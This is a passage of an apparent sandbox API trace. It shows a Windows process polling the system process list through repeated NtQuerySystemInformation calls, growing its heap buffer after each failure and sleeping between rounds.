	[0065.229] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x12288) returned 0x2892160
	[0065.229] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.229] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x132ac) returned 0x2892160
	[0065.229] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.230] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x142d0) returned 0x2892160
	[0065.230] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.230] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x152f4) returned 0x2892160
	[0065.230] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.231] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x16318) returned 0x2892160
	[0065.231] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.231] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x1733c) returned 0x2892160
	[0065.231] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.231] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x18360) returned 0x2892160
	[0065.232] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.232] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x19384) returned 0x2892160
	[0065.232] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.232] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x1a3a8) returned 0x2892160
	[0065.233] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.233] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x1b3cc) returned 0x2892160
	[0065.233] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.233] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x1c3f0) returned 0x2892160
	[0065.233] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.234] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x1d414) returned 0x2892160
	[0065.234] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.234] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x1e438) returned 0x2892160
	[0065.234] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.235] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x1f45c) returned 0x2892160
	[0065.235] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.235] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x20480) returned 0x2892160
	[0065.235] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.236] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x214a4) returned 0x2892160
	[0065.236] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.236] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x224c8) returned 0x2892160
	[0065.236] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.237] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x234ec) returned 0x2892160
	[0065.237] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.237] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x24510) returned 0x28b5658
	[0065.239] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28b5658, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28b5658, ResultLength=0x0) returned 0x0
	[0065.240] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2) returned 0x2866720
	[0065.240] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2866720) returned 1
	[0065.240] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0xe) returned 0x28796b0
	[0065.240] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28796b0) returned 1
	[0065.240] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x2877660
	[0065.240] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0065.240] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0065.240] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.240] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0065.240] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.240] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0065.240] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.240] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876d38
	[0065.240] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876d38) returned 1
	[0065.240] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876ec8
	[0065.240] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876ec8) returned 1
	[0065.240] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0065.240] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.240] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877660
	[0065.240] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0065.241] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28770a8) returned 1
	[0065.241] Sleep (dwMilliseconds=0x64) 
	[0065.360] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28876a8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x28876a8, ResultLength=0x0) returned 0xc0000004
	[0065.361] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28876a8, Size=0x2048) returned 0x2892160
	[0065.361] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.361] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x306c) returned 0x2892160
	[0065.361] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.361] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x4090) returned 0x2892160
	[0065.361] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.362] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x50b4) returned 0x2892160
	[0065.362] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.362] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x60d8) returned 0x2892160
	[0065.362] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.362] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x70fc) returned 0x2892160
	[0065.362] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.362] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x8120) returned 0x2892160
	[0065.362] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.363] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x9144) returned 0x2892160
	[0065.363] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.363] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0xa168) returned 0x2892160
	[0065.363] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.363] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0xb18c) returned 0x2892160
	[0065.363] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.364] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0xc1b0) returned 0x2892160
	[0065.364] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.364] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0xd1d4) returned 0x2892160
	[0065.364] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.364] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0xe1f8) returned 0x2892160
	[0065.364] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.365] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0xf21c) returned 0x2892160
	[0065.365] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.365] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x10240) returned 0x2892160
	[0065.365] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.365] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x11264) returned 0x2892160
	[0065.365] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.366] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x12288) returned 0x2892160
	[0065.366] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.366] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x132ac) returned 0x2892160
	[0065.366] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.366] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x142d0) returned 0x2892160
	[0065.367] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.367] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x152f4) returned 0x2892160
	[0065.367] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.367] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x16318) returned 0x2892160
	[0065.367] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.368] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x1733c) returned 0x2892160
	[0065.368] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.368] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x18360) returned 0x2892160
	[0065.368] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x19384) returned 0x2892160
	[0065.369] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x1a3a8) returned 0x2892160
	[0065.369] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.369] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x1b3cc) returned 0x2892160
	[0065.369] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x1c3f0) returned 0x2892160
	[0065.370] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.370] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x1d414) returned 0x2892160
	[0065.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x1e438) returned 0x2892160
	[0065.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.371] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x1f45c) returned 0x2892160
	[0065.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x20480) returned 0x2892160
	[0065.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x214a4) returned 0x2892160
	[0065.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.373] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x224c8) returned 0x2892160
	[0065.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.373] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x234ec) returned 0x2892160
	[0065.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x24510) returned 0x2892160
	[0065.374] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0x0
	[0065.374] Sleep (dwMilliseconds=0x64) 
	[0065.487] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28865a0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x28865a0, ResultLength=0x0) returned 0xc0000004
	[0065.488] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28865a0, Size=0x2048) returned 0x2892160
	[0065.488] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.488] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x306c) returned 0x2892160
	[0065.488] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.488] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x4090) returned 0x2892160
	[0065.488] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.488] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x50b4) returned 0x2892160
	[0065.488] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.489] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x60d8) returned 0x2892160
	[0065.489] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.489] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x70fc) returned 0x2892160
	[0065.489] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.489] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x8120) returned 0x2892160
	[0065.489] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.490] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x9144) returned 0x2892160
	[0065.490] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.490] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0xa168) returned 0x2892160
	[0065.490] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.490] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0xb18c) returned 0x2892160
	[0065.490] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.490] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0xc1b0) returned 0x2892160
	[0065.490] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.491] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0xd1d4) returned 0x2892160
	[0065.491] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.491] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0xe1f8) returned 0x2892160
	[0065.491] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.491] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0xf21c) returned 0x2892160
	[0065.491] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.492] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x10240) returned 0x2892160
	[0065.492] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.492] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x11264) returned 0x2892160
	[0065.492] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.492] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x12288) returned 0x2892160
	[0065.492] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.493] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x132ac) returned 0x2892160
	[0065.493] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.493] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x142d0) returned 0x2892160
	[0065.493] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.494] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x152f4) returned 0x2892160
	[0065.494] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.494] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x16318) returned 0x2892160
	[0065.494] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.494] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x1733c) returned 0x2892160
	[0065.494] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.495] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x18360) returned 0x2892160
	[0065.495] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.496] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x19384) returned 0x2892160
	[0065.496] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.496] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x1a3a8) returned 0x2892160
	[0065.496] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.496] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x1b3cc) returned 0x2892160
	[0065.496] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.497] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x1c3f0) returned 0x2892160
